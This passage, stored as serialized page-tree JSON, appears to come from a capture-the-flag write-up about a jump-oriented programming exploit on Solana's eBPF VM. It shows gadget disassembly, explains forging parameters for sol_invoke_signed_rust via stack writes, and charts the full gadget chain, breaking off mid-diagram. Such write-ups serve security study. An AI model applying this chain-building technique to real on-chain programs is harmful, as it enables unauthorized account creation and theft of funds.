stxw",{"type":23,"tag":504,"props":43478,"children":43479},{"style":523},[43480],{"type":28,"value":566},{"type":23,"tag":504,"props":43482,"children":43483},{"style":529},[43484],{"type":28,"value":43485},"r2",{"type":23,"tag":504,"props":43487,"children":43488},{"style":598},[43489],{"type":28,"value":3308},{"type":23,"tag":504,"props":43491,"children":43492},{"style":1440},[43493],{"type":28,"value":3001},{"type":23,"tag":504,"props":43495,"children":43496},{"style":523},[43497],{"type":28,"value":22041},{"type":23,"tag":504,"props":43499,"children":43500},{"style":529},[43501],{"type":28,"value":43502},"r1",{"type":23,"tag":504,"props":43504,"children":43505},{"style":523},[43506],{"type":28,"value":43507},"  {",{"type":23,"tag":504,"props":43509,"children":43510},{"style":1440},[43511],{"type":28,"value":43512},"0x18",{"type":23,"tag":504,"props":43514,"children":43515},{"style":523},[43516],{"type":28,"value":884},{"type":23,"tag":504,"props":43518,"children":43519},{"class":506,"line":1221},[43520,43525,43530,43535,43539,43543,43547],{"type":23,"tag":504,"props":43521,"children":43522},{"style":529},[43523],{"type":28,"value":43524},"100001bf0",{"type":23,"tag":504,"props":43526,"children":43527},{"style":1440},[43528],{"type":28,"value":43529},"  0500030000000000",{"type":23,"tag":504,"props":43531,"children":43532},{"style":529},[43533],{"type":28,"value":43534},"   ja",{"type":23,"tag":504,"props":43536,"children":43537},{"style":523},[43538],{"type":28,"value":7702},{"type":23,"tag":504,"props":43540,"children":43541},{"style":598},[43542],{"type":28,"value":1642},{"type":23,"tag":504,"props":43544,"children":43545},{"style":1440},[43546],{"type":28,"value":16275},{"type":23,"tag":504,"props":43548,"children":43549},{"style":523},[43550],{"type":28,"value":4976},{"type":23,"tag":504,"props":43552,"children":43553},{"class":506,"line":1276},[43554],{"type":23,"tag":504,"props":43555,"children":43556},{"emptyLinePlaceholder":16},[43557],{"type":28,"value":1038},{"type":23,"tag":504,"props":43559,"children":43560},{"class":506,"line":1285},[43561,43566,43571,43575,43579,43583,43587,43591,43595,43599,43603],{"type":23,"tag":504,"props":43562,"children":43563},{"style":529},[43564],{"type":28,"value":43565},"100001bf8",{"type":23,"tag":504,"props":43567,"children":43568},{"style":529},[43569],{"type":28,"value":43570},"  79a188ff00000000",{"type":23,"tag":504,"props":43572,"children":43573},{"style":529},[43574],{"type":28,"value":43104},{"type":23,"tag":504,"props":43576,"children":43577},{"style":529},[43578],{"type":28,"value":43398},{"type":23,"tag":504,"props":43580,"children":43581},{"style":523},[43582],{"type":28,"value":43114},{"type":23,"tag":504,"props":43584,"children":43585},{"style":529},[43586],{"type":28,"value":43119},{"type":23,"tag":504,"props":43588,"children":43589},{"style":598},[43590],{"type":28,"value":3308},{"type":23,"tag":504,"props":43592,"children":43593},{"style":1440},[43594],{"type":28,"value":43445},{"type":23,"tag":504,"props":43596,"children":43597},{"style":523},[43598],{"type":28,"value":43133},{"type":23,"tag":504,"props":43600,"children":43601},{"style":529},[43602],{"type":28,"value":43454},{"type":23,"tag":504,"props":43604,"children":43605},{"style":523},[43606],{"type":28,"value":884},{"type":23,"tag":504,"props":43608,"children":43609},{"class":506,"line":1294},[43610,43615,43620,43624,43628,43632],{"type":23,"tag":504,"props":43611,"children":43612},{"style":529},[43613],{"type":28,"value":43614},"100001c00",{"type":23,"tag":504,"props":43616,"children":43617},{"style":529},[43618],{"type":28,"value":43619},"  bf02000000000000",{"type":23,"tag":504,"props":43621,"children":43622},{"style":529},[43623],{"type":28,"value":43393},{"type":23,"tag":504,"props":43625,"children":43626},{"style":529},[43627],{"type":28,"value":43109},{"type":23,"tag":504,"props":43629,"children":43630},{"style":523},[43631],{"type":28,"value":576},{"type":23,"tag":504,"props":43633,"children":43634},{"style":529},[43635],{"type":28,"value":43636},"r0\n",{"type":23,"tag":504,"props":43638,"children":43639},{"class":506,"line":1302},[43640,43645,43650,43654,43659,43663,43668,43672,43676,43681,43685,43689,43694,43699,43703,43707],{"type":23,"tag":504,"props":43641,"children":43642},{"style":529},[43643],{"type":28,"value":43644},"100001c08",{"type":23,"tag":504,"props":43646,"children":43647},{"style":1440},[43648],{"type":28,"value":43649},"  8510000075000000",{"type":23,"tag":504,"props":43651,"children":43652},{"style":529},[43653],{"type":28,"value":43315},{"type":23,"tag":504,"props":43655,"children":43656},{"style":1012},[43657],{"type":28,"value":43658}," _ZN94_",{"type":23,"tag":504,"props":43660,"children":43661},{"style":598},[43662],{"type":28,"value":9269},{"type":23,"tag":504,"props":43664,"children":43665},{"style":1012},[43666],{"type":28,"value":43667},"LT",{"type":23,"tag":504,"props":43669,"children":43670},{"style":598},[43671],{"type":28,"value":9269},{"type":23,"tag":504,"props":43673,"children":43674},{"style":529},[43675],{"type":28,"value":12634},{"type":23,"tag":504,"props":43677,"children":43678},{"style":598},[43679],{"type":28,"value":43680},"...$",{"type":23,"tag":504,"props":43682,"children":43683},{"style":529},[43684],{"type":28,"value":7025},{"type":23,"tag":504,"props":43686,"children":43687},{"style":598},[43688],{"type":28,"value":9269},{"type":23,"tag":504,"props":43690,"children":43691},{"style":1012},[43692],{"type":28,"value":43693},"GT",{"type":23,"tag":504,"props":43695,"children":43696},{"style":598},[43697],{"type":28,"value":43698},"$$",{"type":23,"tag":504,"props":43700,"children":43701},{"style":1012},[43702],{"type":28,"value":43693},{"type":23,"tag":504,"props":43704,"children":43705},{"style":598},[43706],{"type":28,"value":9269},{"type":23,"tag":504,"props":43708,"children":43709},{"style":523},[43710],{"type":28,"value":43711},"4from17ha0d289b72861b06dE\n",{"type":23,"tag":504,"props":43713,"children":43714},{"class":506,"line":1311},[43715],{"type":23,"tag":504,"props":43716,"children":43717},{"emptyLinePlaceholder":16},[43718],{"type":28,"value":1038},{"type":23,"tag":504,"props":43720,"children":43721},{"class":506,"line":1334},[43722,43727,43732,43736,43740,43744,43748,43752,43757,43761,43766],{"type":23,"tag":504,"props":43723,"children":43724},{"style":529},[43725],{"type":28,"value":43726},"100001c10",{"type":23,"tag":504,"props":43728,"children":43729},{"style":529},[43730],{"type":28,"value":43731},"  79a2b8ff00000000",{"type":23,"tag":504,"props":43733,"children":43734},{"style":529},[43735],{"type":28,"value":43104},{"type":23,"tag":504,"props":43737,"children":43738},{"style":529},[43739],{"type":28,"value":43109},{"type":23,"tag":504,"props":43741,"children":43742},{"style":523},[43743],{"type":28,"value":43114},{"type":23,"tag":504,"props":43745,"children":43746},{"style":529},[43747],{"type":28,"value":43119},{"type":23,"tag":504,"props":43749,"children":43750},{"style":598},[43751],{"type":28,"value":3308},{"type":23,"tag":504,"props":43753,"children":43754},{"style":1440},[43755],{"type":28,"value":43756},"72",{"type":23,"tag":504,"props":43758,"children":43759},{"style":523},[43760],{"type":28,"value":43133},{"type":23,"tag":504,"props":43762,"children":43763},{"style":529},[43764],{"type":28,"value":43765},"var_48",{"type":23,"tag":504,"props":43767,"children":43768},{"style":523},[43769],{"type":28,"value":884},{"type":23,"tag":504,"props":43771,"children":43772},{"class":506,"line":1370},[43773,43778,43783,43788,43792,43796,43800,43804,43808,43812],{"type":23,"tag":504,"props":43774,"children":43775},{"style":529},[43776],{"type":28,"value":43777},"100001c18",{"type":23,"tag":504,"props":43779,"children":43780},{"style":1440},[43781],{"type":28,"value":43782},"  1502040000000000",{"type":23,"tag":504,"props":43784,"children":43785},{"style":529},[43786],{"type":28,"value":43787},"   jeq",{"type":23,"tag":504,"props":43789,"children":43790},{"style":523},[43791],{"type":28,"value":7702},{"type":23,"tag":504,"props":43793,"children":43794},{"style":598},[43795],{"type":28,"value":1642},{"type":23,"tag":504,"props":43797,"children":43798},{"style":1440},[43799],{"type":28,"value":16508},{"type":23,"tag":504,"props":43801,"children":43802},{"style":523},[43803],{"type":28,"value":4804},{"type":23,"tag":504,"props":43805,"children":43806},{"style":529},[43807],{"type":28,"value":43485},{"type":23,"tag":504,"props":43809,"children":43810},{"style":523},[43811],{"type":28,"value":576},{"type":23,"tag":504,"props":43813,"children":43814},{"style":1440},[43815],{"type":28,"value":43368},{"type":23,"tag":504,"props":43817,"children":43818},{"class":506,"line":1384},[43819],{"type":23,"tag":504,"props":43820,"children":43821},{"emptyLinePlaceholder":16},[43822],{"type":28,"value":1038},{"type":23,"tag":504,"props":43824,"children":43825},{"class":506,"line":1392},[43826,43831,43836,43841,43845,43849],{"type":23,"tag":504,"props":43827,"children":43828},{"style":529},[43829],{"type":28,"value":43830},"100001c20",{"type":23,"tag":504,"props":43832,"children":43833},{"style":1440},[43834],{"type":28,"value":43835},"  2702000022000000",{"type":23,"tag":504,"props":43837,"children":43838},{"style":529},[43839],{"type":28,"value":43840},"   mul",{"type":23,"tag":504,"props":43842,"children":43843},{"style":529},[43844],{"type":28,"value":43109},{"type":23,"tag":504,"props":43846,"children":43847},{"style":523},[43848],{"type":28,"value":576},{"type":23,"tag":504,"props":43850,"children":43851},{"style":1440},[43852],{"type":28,"value":43853},"0x22\n",{"type":23,"tag":504,"props":43855,"children":43856},{"class":506,"line":1400},[43857,43862,43867,43871,43875,43879,43883,43887,43892,43896,43901],{"type":23,"tag":504,"props":43858,"children":43859},{"style":529},[43860],{"type":28,"value":43861},"100001c28",{"type":23,"tag":504,"props":43863,"children":43864},{"style":529},[43865],{"type":28,"value":43866},"  79a1b0ff00000000",{"type":23,"tag":504,"props":43868,"children":43869},{"style":529},[43870],{"type":28,"value":43104},{"type":23,"tag":504,"props":43872,"children":43873},{"style":529},[43874],{"type":28,"value":43398},{"type":23,"tag":504,"props":43876,"children":43877},{"style":523},[43878],{"type":28,"value":43114},{"type":23,"tag":504,"props":43880,"children":43881},{"style":529},[43882],{"type":28,"value":43119},{"type":23,"tag":504,"props":43884,"children":43885},{"style":598},[43886],{"type":28,"value":3308},{"type":23,"tag":504,"props":43888,"children":43889},{"style":1440},[43890],{"type":28,"value":43891},"80",{"type":23,"tag":504,"props":43893,"children":43894},{"style":523},[43895],{"type":28,"value":43133},{"type":23,"tag":504,"props":43897,"children":43898},{"style":529},[43899],{"type":28,"value":43900},"var_50",{"type":23,"tag":504,"props":43902,"children":43903},{"style":523},[43904],{"type":28,"value":884},{"type":23,"tag":504,"props":43906,"children":43907},{"class":506,"line":1422},[43908,43913,43918,43922,43926,43930],{"type":23,"tag":504,"props":43909,"children":43910},{"style":529},[43911],{"type":28,"value":43912},"100001c30",{"type":23,"tag":504,"props":43914,"children":43915},{"style":529},[43916],{"type":28,"value":43917},"  b703000001000000",{"type":23,"tag":504,"props":43919,"children":43920},{"style":529},[43921],{"type":28,"value":43393},{"type":23,"tag":504,"props":43923,"children":43924},{"style":529},[43925],{"type":28,"value":43164},{"type":23,"tag":504,"props":43927,"children":43928},{"style":523},[43929],{"type":28,"value":576},{"type":23,"tag":504,"props":43931,"children":43932},{"style":1440},[43933],{"type":28,"value":43934},"0x1\n",{"type":23,"tag":504,"props":43936,"children":43937},{"class":506,"line":1450},[43938,43943,43948,43952],{"type":23,"tag":504,"props":43939,"children":43940},{"style":529},[43941],{"type":28,"value":43942},"100001c38",{"type":23,"tag":504,"props":43944,"children":43945},{"style":529},[43946],{"type":28,"value":43947},"  8510000003feffff",{"type":23,"tag":504,"props":43949,"children":43950},{"style":529},[43951],{"type":28,"value":43315},{"type":23,"tag":504,"props":43953,"children":43954},{"style":529},[43955],{"type":28,"value":43956}," __rust_dealloc\n",{"type":23,"tag":504,"props":43958,"children":43959},{"class":506,"line":1463},[43960],{"type":23,"tag":504,"props":43961,"children":43962},{"emptyLinePlaceholder":16},[43963],{"type":28,"value":1038},{"type":23,"tag":504,"props":43965,"children":43966},{"class":506,"line":1485},[43967,43972,43977,43981,43985,43989,43993,43997,44002,44006,44011],{"type":23,"tag":504,"props":43968,"children":43969},{"style":529},[43970],{"type":28,"value":43971},"100001c40",{"type":23,"tag":504,"props":43973,"children":43974},{"style":529},[43975],{"type":28,"value":43976},"  79a2d0ff00000000",{"type":23,"tag":504,"props":43978,"children":43979},{"style":529},[43980],{"type":28,"value":43104},{"type":23,"tag":504,"props":43982,"children":43983},{"style":529},[43984],{"type":28,"value":43109},{"type":23,"tag":504,"props":43986,"children":43987},{"style":523},[43988],{"type":28,"value":43114},{"type":23,"tag":504,"props":43990,"children":43991},{"style":529},[43992],{"type":28,"value":43119},{"type":23,"tag":504,"props":43994,"children":43995},{"style":598},[43996],{"type":28,"value":3308},{"type":23,"tag":504,"props":43998,"children":43999},{"style":1440},[44000],{"type":28,"value":44001},"48",{"type":23,"tag":504,"props":44003,"children":44004},{"style":523},[44005],{"type":28,"value":43133},{"type":23,"tag":504,"props":44007,"children":44008},{"style":529},[44009],{"type":28,"value":44010},"var_30",{"type":23,"tag":504,"props":44012,"children":44013},{"style":523},[44014],{"type":28,"value":884},{"type":23,"tag":504,"props":44016,"children":44017},{"class":506,"line":1503},[44018,44023,44028,44032,44036,44040,44044,44048,44052,44056],{"type":23,"tag":504,"props":44019,"children":44020},{"style":529},[44021],{"type":28,"value":44022},"100001c48",{"type":23,"tag":504,"props":44024,"children":44025},{"style":1440},[44026],{"type":28,"value":44027},"  1502030000000000",{"type":23,"tag":504,"props":44029,"children":44030},{"style":529},[44031],{"type":28,"value":43787},{"type":23,"tag":504,"props":44033,"children":44034},{"style":523},[44035],{"type":28,"value":7702},{"type":23,"tag":504,"props":44037,"children":44038},{"style":598},[44039],{"type":28,"value":1642},{"type":23,"tag":504,"props":44041,"children":44042},{"style":1440},[44043],{"type":28,"value":16275},{"type":23,"tag":504,"props":44045,"children":44046},{"style":523},[44047],{"type":28,"value":4804},{"type":23,"tag":504,"props":44049,"children":44050},{"style":529},[44051],{"type":28,"value":43485},{"type":23,"tag":504,"props":44053,"children":44054},{"style":523},[44055],{"type":28,"value":576},{"type":23,"tag":504,"props":44057,"children":44058},{"style":1440},[44059],{"type":28,"value":43368},{"type":23,"tag":504,"props":44061,"children":44062},{"class":506,"line":1516},[44063],{"type":23,"tag":504,"props":44064,"children":44065},{"emptyLinePlaceholder":16},[44066],{"type":28,"value":1038},{"type":23,"tag":504,"props":44068,"children":44069},{"class":506,"line":1543},[44070,44075,44080,44084,44088,44092,44096,44100,44105,44109,44114],{"type":23,"tag":504,"props":44071,"children":44072},{"style":529},[44073],{"type":28,"value":44074},"100001c50",{"type":23,"tag":504,"props":44076,"children":44077},{"style":529},[44078],{"type":28,"value":44079},"  79a1c8ff00000000",{"type":23,"tag":504,"props":44081,"children":44082},{"style":529},[44083],{"type":28,"value":43104},{"type":23,"tag":504,"props":44085,"children":44086},{"style":529},[44087],{"type":28,"value":43398},{"type":23,"tag":504,"props":44089,"children":44090},{"style":523},[44091],{"type":28,"value":43114},{"type":23,"tag":504,"props":44093,"children":44094},{"style":529},[44095],{"type":28,"value":43119},{"type":23,"tag":504,"props":44097,"children":44098},{"style":598},[44099],{"type":28,"value":3308},{"type":23,"tag":504,"props":44101,"children":44102},{"style":1440},[44103],{"type":28,"value":44104},"56",{"type":23,"tag":504,"props":44106,"children":44107},{"style":523},[44108],{"type":28,"value":43133},{"type":23,"tag":504,"props":44110,"children":44111},{"style":529},[44112],{"type":28,"value":44113},"var_38",{"type":23,"tag":504,"props":44115,"children":44116},{"style":523},[44117],{"type":28,"value":884},{"type":23,"tag":504,"props":44119,"children":44120},{"class":506,"line":1583},[44121,44126,44130,44134,44138,44142],{"type":23,"tag":504,"props":44122,"children":44123},{"style":529},[44124],{"type":28,"value":44125},"100001c58",{"type":23,"tag":504,"props":44127,"children":44128},{"style":529},[44129],{"type":28,"value":43917},{"type":23,"tag":504,"props":44131,"children":44132},{"style":529},[44133],{"type":28,"value":43393},{"type":23,"tag":504,"props":44135,"children":44136},{"style":529},[44137],{"type":28,"value":43164},{"type":23,"tag":504,"props":44139,"children":44140},{"style":523},[44141],{"type":28,"value":576},{"type":23,"tag":504,"props":44143,"children":44144},{"style":1440},[44145],{"type":28,"value":43934},{"type":23,"tag":504,"props":44147,"children":44148},{"class":506,"line":1605},[44149,44154,44159,44163],{"type":23,"tag":504,"props":44150,"children":44151},{"style":529},[44152],{"type":28,"value":44153},"100001c60",{"type":23,"tag":504,"props":44155,"children":44156},{"style":529},[44157],{"type":28,"value":44158},"  85100000fefdffff",{"type":23,"tag":504,"props":44160,"children":44161},{"style":529},[44162],{"type":28,"value":43315},{"type":23,"tag":504,"props":44164,"children":44165},{"style":529},[44166],{"type":28,"value":43956},{"type":23,"tag":504,"props":44168,"children":44169},{"class":506,"line":1614},[44170],{"type":23,"tag":504,"props":44171,"children":44172},{"emptyLinePlaceholder":16},[44173],{"type":28,"value":1038},{"type":23,"tag":504,"props":44175,"children":44176},{"class":506,"line":1627},[44177,44182,44187,44192,44197,44202],{"type":23,"tag":504,"props":44178,"children":44179},{"style":529},[44180],{"type":28,"value":44181},"100001c68",{"type":23,"tag":504,"props":44183,"children":44184},{"style":1440},[44185],{"type":28,"value":44186},"  9500000000000000",{"type":23,"tag":504,"props":44188,"children":44189},{"style":529},[44190],{"type":28,"value":44191},"   exit",{"type":23,"tag":504,"props":44193,"children":44194},{"style":523},[44195],{"type":28,"value":44196}," {",{"type":23,"tag":504,"props":44198,"children":44199},{"style":529},[44200],{"type":28,"value":44201},"__return_addr",{"type":23,"tag":504,"props":44203,"children":44204},{"style":523},[44205],{"type":28,"value":884},{"type":23,"tag":24,"props":44207,"children":44208},{},[44209,44211,44217],{"type":28,"value":44210},"Which, assuming that ",{"type":23,"tag":56,"props":44212,"children":44214},{"className":44213},[],[44215],{"type":28,"value":44216},"sol_invoke_signed_rust",{"type":28,"value":44218}," returns 0, is doing the following:",{"type":23,"tag":41,"props":44220,"children":44221},{},[44222,44231,44240],{"type":23,"tag":45,"props":44223,"children":44224},{},[44225],{"type":23,"tag":56,"props":44226,"children":44228},{"className":44227},[],[44229],{"type":28,"value":44230},"sol_invoke_signed_rust(r1, [r10-136], [r10-128], [r10-152], [r10-144])",{"type":23,"tag":45,"props":44232,"children":44233},{},[44234],{"type":23,"tag":56,"props":44235,"children":44237},{"className":44236},[],[44238],{"type":28,"value":44239},"*[r10-120] = 0x18",{"type":23,"tag":45,"props":44241,"children":44242},{},[44243,44245,44251,44253,44260],{"type":28,"value":44244},"Calls ",{"type":23,"tag":56,"props":44246,"children":44248},{"className":44247},[],[44249],{"type":28,"value":44250},"__rust_dealloc",{"type":28,"value":44252},", which in default circumstances is a ",{"type":23,"tag":92,"props":44254,"children":44257},{"href":44255,"rel":44256},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/entrypoint.rs#L257C1-L259",[96],[44258],{"type":28,"value":44259},"NOP",{"type":28,"value":320},{"type":23,"tag":24,"props":44262,"children":44263},{},[44264],{"type":28,"value":44265},"r10 is the stack pointer, so it will point to the stack frame of the current depth when executing that instruction.",{"type":23,"tag":24,"props":44267,"children":44268},{},[44269],{"type":28,"value":44270},"If we correctly set up the stack frame used by this gadget with valid parameters, that's a win.",{"type":23,"tag":24,"props":44272,"children":44273},{},[44274,44276,44283],{"type":28,"value":44275},"Looking at the ",{"type":23,"tag":92,"props":44277,"children":44280},{"href":44278,"rel":44279},"https://github.com/solana-labs/solana/blob/master/sdk/program/src/syscalls/definitions.rs#L59",[96],[44281],{"type":28,"value":44282},"definition",{"type":28,"value":44284},", it's not crystal clear what the parameters are:",{"type":23,"tag":494,"props":44286,"children":44288},{"className":1957,"code":44287,"language":1956,"meta":7,"style":7},"fn sol_invoke_signed_rust(instruction_addr: *const u8, account_infos_addr: *const u8, account_infos_len: u64, signers_seeds_addr: *const u8, signers_seeds_len: u64) -> u64\n",[44289],{"type":23,"tag":56,"props":44290,"children":44291},{"__ignoreMap":7},[44292],{"type":23,"tag":504,"props":44293,"children":44294},{"class":506,"line":507},[44295,44299,44304,44308,44313,44317,44321,44325,44329,44333,44338,44342,44346,44350,44354,44358,44363,44367,44371,44375,44380,44384,44388,44392,44396,44400,44405,44409,44413,44417,44421],{"type":23,"tag":504,"props":44296,"children":44297},{"style":511},[44298],{"type":28,"value":19248},{"type":23,"tag":504,"props":44300,"children":44301},{"style":517},[44302],{"type":28,"value":44303}," sol_invoke_signed_rust",{"type":23,"tag":504,"props":44305,"children":44306},{"style":523},[44307],{"type":28,"value":526},{"type":23,"tag":504,"props":44309,"children":44310},{"style":529},[44311],{"type":28,"value":44312},"instruction_addr",{"type":23,"tag":504,"props":44314,"children":44315},{"style":598},[44316],{"type":28,"value":3472},{"type":23,"tag":504,"props":44318,"children":44319},{"style":598},[44320],{"type":28,"value":8797},{"type":23,"tag":504,"props":44322,"children":44323},{"style":511},[44324],{"type":28,"value":8635},{"type":23,"tag":504,"props":44326,"children":44327},{"style":1012},[44328],{"type":28,"value":13615},{"type":23,"tag":504,"props":44330,"children":44331},{"style":523},[44332],{"type":28,"value":576},{"type":23,"tag":504,"props":44334,"children":44335},{"style":529},[44336],{"type":28,"value":44337},"account_infos_addr",{"type":23,"tag":504,"props":44339,"children":44340},{"style":598},[44341],{"type":28,"value":3472},{"type":23,"tag":504,"props":44343,"children":44344},{"style":598},[44345],{"type":28,"value":8797},{"type":23,"tag":504,"props":44347,"children":44348},{"style":511},[44349],{"type":28,"value":8635},{"type":23,"tag":504,"props":44351,"children":44352},{"style":1012},[44353],{"type":28,"value":13615},{"type":23,"tag":504,"props":44355,"children":44356},{"style":523},[44357],{"type":28,"value":576},{"type":23,"tag":504,"props":44359,"children":44360},{"style":529},[44361],{"type":28,"value":44362},"account_infos_len",{"type":23,"tag":504,"props":44364,"children":44365},{"style":598},[44366],{"type":28,"value":3472},{"type":23,"tag":504,"props":44368,"children":44369},{"style":1012},[44370],{"type":28,"value":4843},{"type":23,"tag":504,"props":44372,"children":44373},{"style":523},[44374],{"type":28,"value":576},{"type":23,"tag":504,"props":44376,"children":44377},{"style":529},[44378],{"type":28,"value":44379},"signers_seeds_addr",{"type":23,"tag":504,"props":44381,"children":44382},{"style":598},[44383],{"type":28,"value":3472},{"type":23,"tag":504,"props":44385,"children":44386},{"style":598},[44387],{"type":28,"value":8797},{"type":23,"tag":504,"props":44389,"children":44390},{"style":511},[44391],{"type":28,"value":8635},{"type":23,"tag":504,"props":44393,"children":44394},{"style":1012},[44395],{"type":28,"value":13615},{"type":23,"tag":504,"props":44397,"children":44398},{"style":523},[44399],{"type":28,"value":576},{"type":23,"tag":504,"props":44401,"children":44402},{"style":529},[44403],{"type":28,"value":44404},"signers_seeds_len",{"type":23,"tag":504,"props":44406,"children":44407},{"style":598},[44408],{"type":28,"value":3472},{"type":23,"tag":504,"props":44410,"children":44411},{"style":1012},[44412],{"type":28,"value":4843},{"type":23,"tag":504,"props":44414,"children":44415},{"style":523},[44416],{"type":28,"value":2064},{"type":23,"tag":504,"props":44418,"children":44419},{"style":598},[44420],{"type":28,"value":12738},{"type":23,"tag":504,"props":44422,"children":44423},{"style":1012},[44424],{"type":28,"value":12177},{"type":23,"tag":24,"props":44426,"children":44427},{},[44428,44430,44435,44437,44444],{"type":28,"value":44429},"The source of ",{"type":23,"tag":92,"props":44431,"children":44433},{"href":44432},"(https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/program.rs#L289)",[44434],{"type":28,"value":43045},{"type":28,"value":44436}," helps a lot, but looking at the actual ",{"type":23,"tag":92,"props":44438,"children":44441},{"href":44439,"rel":44440},"https://github.com/solana-labs/solana/blob/v1.17.4/programs/bpf_loader/src/syscalls/cpi.rs#L458-L637",[96],[44442],{"type":28,"value":44443},"implementation",{"type":28,"value":44445}," provides more clarity:",{"type":23,"tag":350,"props":44447,"children":44448},{},[44449],{"type":23,"tag":45,"props":44450,"children":44451},{},[44452,44457,44459,44466],{"type":23,"tag":56,"props":44453,"children":44455},{"className":44454},[],[44456],{"type":28,"value":44312},{"type":28,"value":44458}," points to a ",{"type":23,"tag":92,"props":44460,"children":44463},{"href":44461,"rel":44462},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/stable_layout/stable_instruction.rs#L33",[96],[44464],{"type":28,"value":44465},"StableInstruction",{"type":28,"value":3472},{"type":23,"tag":24,"props":44468,"children":44469},{},[44470],{"type":23,"tag":126,"props":44471,"children":44473},{"alt":44465,"src":44472},"/posts/jumping-around-in-the-vm/stable_ix.svg",[],{"type":23,"tag":350,"props":44475,"children":44476},{},[44477,44502],{"type":23,"tag":45,"props":44478,"children":44479},{},[44480,44485,44487,44492,44494,44501],{"type":23,"tag":56,"props":44481,"children":44483},{"className":44482},[],[44484],{"type":28,"value":44337},{"type":28,"value":44486}," points to a slice of ",{"type":23,"tag":56,"props":44488,"children":44490},{"className":44489},[],[44491],{"type":28,"value":44362},{"type":28,"value":44493},"  ",{"type":23,"tag":92,"props":44495,"children":44498},{"href":44496,"rel":44497},"https://github.com/solana-labs/solana/blob/v1.17.4/sdk/program/src/account_info.rs#L19-L36",[96],[44499],{"type":28,"value":44500},"AccountInfos",{"type":28,"value":320},{"type":23,"tag":45,"props":44503,"children":44504},{},[44505,44510,44512,44517,44519,44524],{"type":23,"tag":56,"props":44506,"children":44508},{"className":44507},[],[44509],{"type":28,"value":44379},{"type":28,"value":44511}," is a bit trickier, it points to a slice of length ",{"type":23,"tag":56,"props":44513,"children":44515},{"className":44514},[],[44516],{"type":28,"value":44404},{"type":28,"value":44518},", containing slices of ",{"type":23,"tag":56,"props":44520,"children":44522},{"className":44521},[],[44523],{"type":28,"value":2397},{"type":28,"value":320},{"type":23,"tag":24,"props":44526,"children":44527},{},[44528],{"type":23,"tag":126,"props":44529,"children":44532},{"alt":44530,"src":44531},"signers.drawio","/posts/jumping-around-in-the-vm/signers.svg",[],{"type":23,"tag":24,"props":44534,"children":44535},{},[44536,44538,44543],{"type":28,"value":44537},"Where do we store those fake parameters? We can store them directly inside the input data, and just write the pointers to them on the stack through the write gadget. Note that these writes are to ",{"type":23,"tag":1887,"props":44539,"children":44540},{},[44541],{"type":28,"value":44542},"future call frames",{"type":28,"value":320},{"type":23,"tag":24,"props":44545,"children":44546},{},[44547,44549,44556],{"type":28,"value":44548},"Now that we have all the parts, all we need is to string it together. The full ",{"type":23,"tag":92,"props":44550,"children":44553},{"href":44551,"rel":44552},"https://github.com/chen-robert/paradigmctf-2023/blob/main/jotterp/framework-solve/src/main.rs",[96],[44554],{"type":28,"value":44555},"reference solution can be found here",{"type":28,"value":320},{"type":23,"tag":24,"props":44558,"children":44559},{},[44560],{"type":28,"value":44561},"Here's a visualization of the final JOP chain.",{"type":23,"tag":494,"props":44563,"children":44565},{"className":42927,"code":44564,"language":42929,"meta":7,"style":7},"graph BT\n    A[0: entrypoint] --> B[1: process_instruction]\n    B --> C[2: process]\n    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n    C --> E[3: process]\n    E --> F[4: Write account_infos.len to target_r10 - 128]\n    E --> G[4: process]\n    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n    G --> I[5: process]\n    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n    I --> K[6: process]\n    K --> M[7: Write HeapBase to target_r10 - 120]\n    K --> N[7: process]\n    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n    N --> O[8: Write 0x4337 to the account]\n",[44566],{"type":23,"tag":56,"props":44567,"children":44568},{"__ignoreMap":7},[44569,44577,44584,44591,44599,44606,44614,44622,44630,44638,44646,44654,44662,44670,44678],{"type":23,"tag":504,"props":44570,"children":44571},{"class":506,"line":507},[44572],{"type":23,"tag":504,"props":44573,"children":44574},{},[44575],{"type":28,"value":44576},"graph BT\n",{"type":23,"tag":504,"props":44578,"children":44579},{"class":506,"line":540},[44580],{"type":23,"tag":504,"props":44581,"children":44582},{},[44583],{"type":28,"value":42949},{"type":23,"tag":504,"props":44585,"children":44586},{"class":506,"line":555},[44587],{"type":23,"tag":504,"props":44588,"children":44589},{},[44590],{"type":28,"value":42957},{"type":23,"tag":504,"props":44592,"children":44593},{"class":506,"line":633},[44594],{"type":23,"tag":504,"props":44595,"children":44596},{},[44597],{"type":28,"value":44598},"    C --> D[3: Write account_infos.ptr to target_r10 - 136]\n",{"type":23,"tag":504,"props":44600,"children":44601},{"class":506,"line":687},[44602],{"type":23,"tag":504,"props":44603,"children":44604},{},[44605],{"type":28,"value":42973},{"type":23,"tag":504,"props":44607,"children":44608},{"class":506,"line":736},[44609],{"type":23,"tag":504,"props":44610,"children":44611},{},[44612],{"type":28,"value":44613},"    E --> F[4: Write account_infos.len to target_r10 - 128]\n",{"type":23,"tag":504,"props":44615,"children":44616},{"class":506,"line":785},[44617],{"type":23,"tag":504,"props":44618,"children":44619},{},[44620],{"type":28,"value":44621},"    E --> G[4: process]\n",{"type":23,"tag":504,"props":44623,"children":44624},{"class":506,"line":813},[44625],{"type":23,"tag":504,"props":44626,"children":44627},{},[44628],{"type":28,"value":44629},"    G --> H[5: Write signers_seeds.ptr to target_r10 - 152]\n",{"type":23,"tag":504,"props":44631,"children":44632},{"class":506,"line":851},[44633],{"type":23,"tag":504,"props":44634,"children":44635},{},[44636],{"type":28,"value":44637},"    G --> I[5: process]\n",{"type":23,"tag":504,"props":44639,"children":44640},{"class":506,"line":869},[44641],{"type":23,"tag":504,"props":44642,"children":44643},{},[44644],{"type":28,"value":44645},"    I --> J[6: Write signers_seeds.len to target_r10 - 144]\n",{"type":23,"tag":504,"props":44647,"children":44648},{"class":506,"line":878},[44649],{"type":23,"tag":504,"props":44650,"children":44651},{},[44652],{"type":28,"value":44653},"    I --> K[6: process]\n",{"type":23,"tag":504,"props":44655,"children":44656},{"class":506,"line":1221},[44657],{"type":23,"tag":504,"props":44658,"children":44659},{},[44660],{"type":28,"value":44661},"    K --> M[7: Write HeapBase to target_r10 - 120]\n",{"type":23,"tag":504,"props":44663,"children":44664},{"class":506,"line":1276},[44665],{"type":23,"tag":504,"props":44666,"children":44667},{},[44668],{"type":28,"value":44669},"    K --> N[7: 